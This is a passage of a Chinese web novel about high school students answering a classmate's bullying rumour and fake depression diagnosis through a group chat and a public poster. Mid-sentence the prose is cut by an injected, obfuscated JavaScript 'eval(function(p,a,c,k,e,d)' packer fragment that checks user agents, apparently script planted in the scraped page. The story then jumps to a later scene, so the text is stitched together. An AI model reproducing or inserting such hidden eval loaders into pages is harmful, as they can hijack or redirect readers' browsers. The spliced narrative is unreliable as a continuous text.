他们感情深厚,懂得关心和付出,可嘴硬死不承认。两人愣是察觉不到对方的细腻温暖,一心认为对方只想驯化自己。 江渝思来想去,觉得用“对抗路”定义他们真是很准确。 不过此刻,江渝把调解的工作暂且放到一边,抬了下眉。 黎戎绘尚且记得姜予的叮嘱,只当她是不爱出风头,可功劳在小范围内传播似乎无可厚非。想到这里,黎戎绘一股脑全说了。 包括姜予提醒她不要冲动,建议冷静处理,从长计议的态度。 江渝没立刻说话,他跨坐在自行车上,单脚撑地,平底板鞋条纹裤,衬得腿长瞩目,肩背挺拔单薄,校服外套敞怀,T恤领口的纽扣开得随意,白色的耳机线消失在层层叠叠的衣褶中。 “她说得没错。”江渝说。 - 姜予并不知道自己已经被出卖,她洗了澡回到房间,先是发现黎戎绘邀请自己进某个群,随即才看到黎戎绘私发来的坦白。 看着黎戎绘再三保证“这件事绝对只有他们几个人知情,不会对外传播”,姜予擦头发的动作变得无力,她咬了咬唇。 成功加进群,姜予在群列表里看到了那个柯基头像。 昵称“六点水”。 是江渝。 头像是他养的狗,叫吐司。 江渝的Q/Q号不是秘密,可知道号码不代表能添加成功。 虽然他们依旧没能成为好友,从年级群里的千分之二,变成这个群里二分之一的存在,已经实现重大跨越。 姜予没办法就黎戎绘的失言产生任何抗拒情绪。她给黎戎绘回了句“没关系,能帮上忙就行”,屏幕长久地停留在群成员列表上。 通知栏有消息弹出,是李屹清发在群里的:“要我说,印张大字报往一楼宣传栏上一贴。他不是爱造谣吗?那就让他自食恶果体验一下什么是语言霸凌。” “别意气用事。”江渝出现。 李屹清甩了个“发火”的表情包,显然在气头上。 黎戎绘发来一句讥讽:“你直接用校园广播得了,省的有人不看宣传栏。” 李屹清回一句“你这主意不错”,黎戎绘发了个翻白眼的表情包:“长长脑子行吗?” 姜予斟酌一番,发言:“我觉得,抑郁症是真是假,只能说明对方的人品。问题的根本是同学间的谣传。” “小予妹你有什么想法?”李屹清跟着黎戎绘称呼她。 姜予抿了下唇,眼看着黎戎绘和他就这个称呼问题吵起来,她及时打断:“虽说三人成虎很可怕,但你们的为人有目共睹,不是谁造几句谣就有人信的。这些话能被听到,是因为幸存者偏差。” 他们是当事人,所以对和自己有关的信息很敏锐,而姜予过度关心江渝的消息,因此才觉得这些负面消息很浩大。 “事实上,没有多少人相信霸凌的言论。顺其自然,冷处理,谣传很快不攻自破。闹大了反而不可控。” 幸福者退让原则,并非没有参考价值。 姜予言简意赅地说完,长舒了口气。 下一秒,她看到紧随其后弹出的消息,心又提到了嗓子眼。 是江渝说:“认同。” 姜予的头像是一片从面包机里弹出来的吐司,仔细看的话,接近心形的吐司片上手绘了两个点和一条凹线,是笑脸。 而它下面,是那只叫吐司的柯基对着镜头笑。 姜予的昵称叫“垚垚”。 即便是此刻两人的昵称挨在一起,也没有人能解读出她的六个土对应着他的六点水。 姜予手指动了动,反应过来时,已经截图完成。 群里李屹清和黎戎绘也接受了这个建议,话题扯到别处后他们开始互呛,说些有的没的,没什么重点。 江渝一直没再发言,姜予研究好半晌都没能成功把群好友设置成特别提醒,只能时不时拿起手机看一眼,直到睡着,手机还放在手边。 - 几个人都没想到,翌日一早,这件事以一种非常惨烈的方式曝光了。 姜予进教学楼时,看到一楼大厅宣传栏前聚集了一群人。 姜予不甚在意地收回视线,绕路去往楼梯口。 这时她听见别人的聊天内容:“都是同学怎么能坏成这样,拿张假诊断单污蔑人。我之前就说江渝不可能是霸凌同学的人。我班有个女生高一时跟他告白,他连拒绝人都特温柔,很懂得保护别人的自尊和真心。” 姜予适才停住脚,探究地朝宣传栏望去。 人头攒动间,依稀看见原本贴着荣誉表彰的玻璃栏上,糊着一张彩印大字报。 没等姜予看清内容,人群中响起交头接耳的嘈杂声:“严峥文来了。” 大家很默契地往旁边退让出一条路。 姜予偏头,看到严峥文背着双肩书包,瘦削的肩背不堪其重量似的,双唇紧绷,视线紧紧地锁定在宣传栏上。 几分钟后,玻璃承受不住书包重击的碎裂声响彻在高二教学楼的角角落落,也响彻在每一个同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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转念想到江渝看她的那一眼,姜予觉得,这足够她开心一整天了。 - 因为这几天有教育局领导来检查,各班班主任针对学生的躁动表现,进行批评和制止。 但效果甚微,学生在打闹时经常会蹦出一句“你别霸凌我啊,当心我抑郁症警告”,俨然成为一种很差的风气。 一周很快过去,仍没人知道那张大字报是谁张贴的。 “是你吧?”姜予在走廊的储物柜前取东西时,严峥文突然出现在她身后。 姜予用手臂挡住自己的密码锁,茫然看向他。 严峥文像是已经笃定了般,掷地有声:“换座位那天我看到你用手机拍了我的诊断单。没想到你心这么坏。” 姜予取东西、锁柜门,然后将密码拨乱。她抱着书,凝视面前表情狰狞的人,语气平静:“不是我。” 严峥文要反驳,姜予用觉得他很可悲的眼神看着他,先发制人:“你什么时候能明白,不论你如何折腾,别人得到的不是从你身上获取的,别人的损失也不会落到你头上。因为——” “你们根本不在同一个水准的赛场。”姜予无视他的围堵,丢下最后一句,便进打算回教室。 结果刚从严峥文的阴影笼罩下迈出,姜予看到凑巧路过的江渝,立刻怔愣在原地,不知所措起来。 他听到了吗?自己方才应该没提他的名字吧? 江渝会不会也认为,宣传栏上的大字报是她张贴的?会不会对他失望,还是会有别的看法? 怀里的习题册被她收紧的手臂压出褶皱,双腿像是被灌了铅,一秒有一年那么漫长。 直到对方的身影彻底走出她的视野,没表现出丁点儿异常,姜予才重获自由。 对江渝而言,这一眼实在是短暂,不过是路过时的随意一瞥,或许都比不上他抬头看天空的时间。 走出去几步,他才后知后觉四目相对时姜予突然变化的脸色,那是怯懦和闪躲。 明明她在群聊里的那番发言,清醒精准,方才跟人说话时的咬字和眼神,强势坚定。他不认为这是个内心柔弱的女生。 拐去楼梯间时,江渝朝自己走来的方向望了眼。零星几个同学经过,想再看一眼的人已经进了教室。 他想起那个被年级主任留在球场体罚的傍晚,他们面对面,十指相扣,她神情紧绷而严肃,便有逃避对视。 ——她害怕他。江渝得出结论。 可,为什么呢?江渝不解。